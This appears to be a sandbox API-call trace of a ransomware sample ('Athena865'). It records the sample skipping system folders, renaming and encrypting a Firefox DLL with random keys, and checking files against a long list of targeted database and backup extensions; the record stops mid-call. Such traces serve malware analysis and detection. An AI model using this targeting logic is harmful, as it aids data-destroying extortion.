[0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2=".") returned 1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="..") returned 1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="windows") returned -1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="bootmgr") returned 1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="temp") returned -1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="pagefile.sys") returned -1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="boot") returned 1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="ids.txt") returned 1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="ntuser.dat") returned -1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="perflogs") returned -1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="MSBuild") returned -1 [0043.925] lstrlenW (lpString="mozjs.dll") returned 9 [0043.925] lstrcpyW (in: lpString1=0x241e896, lpString2="mozjs.dll" | out: lpString1="mozjs.dll") returned="mozjs.dll" [0043.925] lstrlenW (lpString="mozjs.dll") returned 9 [0043.925] lstrlenW (lpString="Athena865") returned 9 [0043.925] lstrlenW (lpString=".dll") returned 4 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2=".dll") returned 1 [0043.925] lstrlenW (lpString=".lnk") returned 4 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2=".lnk") returned 1 [0043.925] lstrlenW (lpString=".ini") returned 4 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2=".ini") returned 1 [0043.925] lstrlenW (lpString=".sys") returned 4 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2=".sys") returned 1 [0043.925] lstrlenW (lpString="mozjs.dll") returned 9 [0043.925] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll.Athena865") returned 58 [0043.926] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozjs.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozjs.dll.athena865"), dwFlags=0x1) returned 1 [0043.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozjs.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.926] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3368048) returned 1 [0043.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.927] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.927] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.927] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x336770, lpName=0x0) returned 0x17c [0043.929] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x136770) returned 0x2d50000 [0044.129] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.130] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.130] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.131] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0044.141] CloseHandle (hObject=0x17c) returned 1 [0044.141] CloseHandle (hObject=0x154) returned 1 [0044.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0044.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0044.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0044.219] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0x66d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".") returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="..") returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="windows") returned -1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="bootmgr") returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="temp") returned -1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="pagefile.sys") returned -1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="boot") returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="ids.txt") returned 1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="ntuser.dat") returned -1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="perflogs") returned -1 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2="MSBuild") returned 1 [0044.219] lstrlenW (lpString="msvcp100.dll") returned 12 [0044.219] lstrcpyW (in: lpString1=0x241e896, lpString2="msvcp100.dll" | out: lpString1="msvcp100.dll") returned="msvcp100.dll" [0044.219] lstrlenW (lpString="msvcp100.dll") returned 12 [0044.219] lstrlenW (lpString="Athena865") returned 9 [0044.219] lstrcmpiW (lpString1="cp100.dll", lpString2="Athena865") returned 1 [0044.219] lstrlenW (lpString=".dll") returned 4 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".dll") returned 1 [0044.219] lstrlenW (lpString=".lnk") returned 4 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".lnk") returned 1 [0044.219] lstrlenW (lpString=".ini") returned 4 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".ini") returned 1 [0044.219] lstrlenW (lpString=".sys") returned 4 [0044.219] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".sys") returned 1 [0044.219] lstrlenW (lpString="msvcp100.dll") returned 12 [0044.219] lstrlenW (lpString="bak") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0044.220] lstrlenW (lpString="ba_") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0044.220] lstrlenW (lpString="dbb") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0044.220] lstrlenW (lpString="vmdk") returned 4 [0044.220] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0044.220] lstrlenW (lpString="rar") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0044.220] lstrlenW (lpString="zip") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0044.220] lstrlenW (lpString="tgz") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0044.220] lstrlenW (lpString="vbox") returned 4 [0044.220] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0044.220] lstrlenW (lpString="vdi") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0044.220] lstrlenW (lpString="vhd") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0044.220] lstrlenW (lpString="vhdx") returned 4 [0044.220] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0044.220] lstrlenW (lpString="avhd") returned 4 [0044.220] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0044.220] lstrlenW (lpString="db") returned 2 [0044.220] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0044.220] lstrlenW (lpString="db2") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0044.220] lstrlenW (lpString="db3") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0044.220] lstrlenW (lpString="dbf") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0044.220] lstrlenW (lpString="mdf") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0044.220] lstrlenW (lpString="mdb") returned 3 [0044.220] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0044.220] lstrlenW (lpString="sql") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0044.221] lstrlenW (lpString="sqlite") returned 6 [0044.221] lstrcmpiW (lpString1="00.dll", lpString2="sqlite") returned -1 [0044.221] lstrlenW (lpString="sqlite3") returned 7 [0044.221] lstrcmpiW (lpString1="100.dll", lpString2="sqlite3") returned -1 [0044.221] lstrlenW (lpString="sqlitedb") returned 8 [0044.221] lstrcmpiW (lpString1="p100.dll", lpString2="sqlitedb") returned -1 [0044.221] lstrlenW (lpString="xml") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0044.221] lstrlenW (lpString="$er") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0044.221] lstrlenW (lpString="4dd") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0044.221] lstrlenW (lpString="4dl") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0044.221] lstrlenW (lpString="^^^") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0044.221] lstrlenW (lpString="abs") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0044.221] lstrlenW (lpString="abx") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0044.221] lstrlenW (lpString="accdb") returned 5 [0044.221] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0044.221] lstrlenW (lpString="accdc") returned 5 [0044.221] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0044.221] lstrlenW (lpString="accde") returned 5 [0044.221] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0044.221] lstrlenW (lpString="accdr") returned 5 [0044.221] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0044.221] lstrlenW (lpString="accdt") returned 5 [0044.221] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0044.221] lstrlenW (lpString="accdw") returned 5 [0044.221] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0044.221] lstrlenW (lpString="accft") returned 5 [0044.221] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0044.221] lstrlenW (lpString="adb") returned 3 [0044.221] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0044.222] lstrlenW (lpString="adb") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0044.222] lstrlenW (lpString="ade") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0044.222] lstrlenW (lpString="adf") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0044.222] lstrlenW (lpString="adn") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0044.222] lstrlenW (lpString="adp") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0044.222] lstrlenW (lpString="alf") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0044.222] lstrlenW (lpString="ask") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0044.222] lstrlenW (lpString="btr") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0044.222] lstrlenW (lpString="cat") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0044.222] lstrlenW (lpString="cdb") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0044.222] lstrlenW (lpString="ckp") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0044.222] lstrlenW (lpString="cma") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0044.222] lstrlenW (lpString="cpd") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0044.222] lstrlenW (lpString="dacpac") returned 6 [0044.222] lstrcmpiW (lpString1="00.dll", lpString2="dacpac") returned -1 [0044.222] lstrlenW (lpString="dad") returned 3 [0044.222] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0044.222] lstrlenW (lpString="dadiagrams") returned 10 [0044.222] lstrcmpiW (lpString1="vcp100.dll", lpString2="dadiagrams") returned 1 [0044.222] lstrlenW (lpString="daschema") returned 8 [0044.222] lstrcmpiW (lpString1="p100.dll", lpString2="daschema") returned 1 [0044.222] lstrlenW (lpString="db-journal") returned 10 [0044.223] lstrcmpiW (lpString1="vcp100.dll", lpString2="db-journal") returned 1 [0044.223] lstrlenW (lpString="db-shm") returned 6 [0044.223] lstrcmpiW (lpString1="00.dll", lpString2="db-shm") returned -1 [0044.223] lstrlenW (lpString="db-wal") returned 6 [0044.223] lstrcmpiW (lpString1="00.dll", lpString2="db-wal") returned -1 [0044.223] lstrlenW (lpString="dbc") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0044.223] lstrlenW (lpString="dbs") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0044.223] lstrlenW (lpString="dbt") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0044.223] lstrlenW (lpString="dbv") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0044.223] lstrlenW (lpString="dbx") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0044.223] lstrlenW (lpString="dcb") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0044.223] lstrlenW (lpString="dct") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0044.223] lstrlenW (lpString="dcx") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0044.223] lstrlenW (lpString="ddl") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0044.223] lstrlenW (lpString="dlis") returned 4 [0044.223] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0044.223] lstrlenW (lpString="dp1") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0044.223] lstrlenW (lpString="dqy") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0044.223] lstrlenW (lpString="dsk") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0044.223] lstrlenW (lpString="dsn") returned 3 [0044.223] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0044.223] lstrlenW (lpString="dtsx") returned 4 [0044.223] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0044.224] lstrlenW (lpString="dxl") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0044.224] lstrlenW (lpString="eco") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0044.224] lstrlenW (lpString="ecx") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0044.224] lstrlenW (lpString="edb") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0044.224] lstrlenW (lpString="epim") returned 4 [0044.224] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0044.224] lstrlenW (lpString="fcd") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0044.224] lstrlenW (lpString="fdb") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0044.224] lstrlenW (lpString="fic") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0044.224] lstrlenW (lpString="flexolibrary") returned 12 [0044.224] lstrlenW (lpString="fm5") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0044.224] lstrlenW (lpString="fmp") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0044.224] lstrlenW (lpString="fmp12") returned 5 [0044.224] lstrcmpiW (lpString1="0.dll", lpString2="fmp12") returned -1 [0044.224] lstrlenW (lpString="fmpsl") returned 5 [0044.224] lstrcmpiW (lpString1="0.dll", lpString2="fmpsl") returned -1 [0044.224] lstrlenW (lpString="fol") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0044.224] lstrlenW (lpString="fp3") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0044.224] lstrlenW (lpString="fp4") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0044.224] lstrlenW (lpString="fp5") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0044.224] lstrlenW (lpString="fp7") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0044.224] lstrlenW (lpString="fpt") returned 3 [0044.224] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0044.225] lstrlenW (lpString="frm") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0044.225] lstrlenW (lpString="gdb") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0044.225] lstrlenW (lpString="gdb") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0044.225] lstrlenW (lpString="grdb") returned 4 [0044.225] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0044.225] lstrlenW (lpString="gwi") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0044.225] lstrlenW (lpString="hdb") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0044.225] lstrlenW (lpString="his") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0044.225] lstrlenW (lpString="ib") returned 2 [0044.225] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0044.225] lstrlenW (lpString="idb") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0044.225] lstrlenW (lpString="ihx") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0044.225] lstrlenW (lpString="itdb") returned 4 [0044.225] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0044.225] lstrlenW (lpString="itw") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0044.225] lstrlenW (lpString="jet") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0044.225] lstrlenW (lpString="jtx") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0044.225] lstrlenW (lpString="kdb") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0044.225] lstrlenW (lpString="kexi") returned 4 [0044.225] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0044.225] lstrlenW (lpString="kexic") returned 5 [0044.225] lstrcmpiW (lpString1="0.dll", lpString2="kexic") returned -1 [0044.225] lstrlenW (lpString="kexis") returned 5 [0044.225] lstrcmpiW (lpString1="0.dll", lpString2="kexis") returned -1 [0044.225] lstrlenW (lpString="lgc") returned 3 [0044.225] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0044.226] lstrlenW (lpString="lwx") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0044.226] lstrlenW (lpString="maf") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0044.226] lstrlenW (lpString="maq") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0044.226] lstrlenW (lpString="mar") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0044.226] lstrlenW (lpString="marshal") returned 7 [0044.226] lstrcmpiW (lpString1="100.dll", lpString2="marshal") returned -1 [0044.226] lstrlenW (lpString="mas") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0044.226] lstrlenW (lpString="mav") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0044.226] lstrlenW (lpString="maw") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0044.226] lstrlenW (lpString="mdbhtml") returned 7 [0044.226] lstrcmpiW (lpString1="100.dll", lpString2="mdbhtml") returned -1 [0044.226] lstrlenW (lpString="mdn") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0044.226] lstrlenW (lpString="mdt") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0044.226] lstrlenW (lpString="mfd") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0044.226] lstrlenW (lpString="mpd") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0044.226] lstrlenW (lpString="mrg") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0044.226] lstrlenW (lpString="mud") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0044.226] lstrlenW (lpString="mwb") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0044.226] lstrlenW (lpString="myd") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0044.226] lstrlenW (lpString="ndf") returned 3 [0044.226] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0044.226] lstrlenW (lpString="nnt") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0044.227] lstrlenW (lpString="nrmlib") returned 6 [0044.227] lstrcmpiW (lpString1="00.dll", lpString2="nrmlib") returned -1 [0044.227] lstrlenW (lpString="ns2") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0044.227] lstrlenW (lpString="ns3") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0044.227] lstrlenW (lpString="ns4") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0044.227] lstrlenW (lpString="nsf") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0044.227] lstrlenW (lpString="nv") returned 2 [0044.227] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0044.227] lstrlenW (lpString="nv2") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0044.227] lstrlenW (lpString="nwdb") returned 4 [0044.227] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0044.227] lstrlenW (lpString="nyf") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0044.227] lstrlenW (lpString="odb") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0044.227] lstrlenW (lpString="odb") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0044.227] lstrlenW (lpString="oqy") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0044.227] lstrlenW (lpString="ora") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0044.227] lstrlenW (lpString="orx") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0044.227] lstrlenW (lpString="owc") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0044.227] lstrlenW (lpString="p96") returned 3 [0044.227] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0044.227] lstrlenW (lpString="p97") returned 3 [0044.228] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0044.228] lstrlenW (lpString="pan") returned 3 [0044.228] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0044.228] lstrlenW (lpString="pdb") returned 3 [0044.228] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0044.228] lstrlenW (lpString="pdm") returned 3 [0044.228] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0044.228] lstrlenW (lpString="pnz") returned 3 [0044.228] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0044.228] lstrlenW (lpString="qry") returned 3 [0044.228] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0044.228] lstrlenW (lpString="qvd") returned 3 [0044.228] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0044.242] lstrlenW (lpString="rbf") returned 3 [0044.242] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0044.242] lstrlenW (lpString="rctd") returned 4 [0044.242] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0044.242] lstrlenW (lpString="rod") returned 3 [0044.242] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0044.243] lstrlenW (lpString="rodx") returned 4 [0044.243] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0044.243] lstrlenW (lpString="rpd") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0044.243] lstrlenW (lpString="rsd") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0044.243] lstrlenW (lpString="sas7bdat") returned 8 [0044.243] lstrcmpiW (lpString1="p100.dll", lpString2="sas7bdat") returned -1 [0044.243] lstrlenW (lpString="sbf") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0044.243] lstrlenW (lpString="scx") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0044.243] lstrlenW (lpString="sdb") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0044.243] lstrlenW (lpString="sdc") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0044.243] lstrlenW (lpString="sdf") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0044.243] lstrlenW (lpString="sis") returned 3 [0044.243] lstrcmpiW 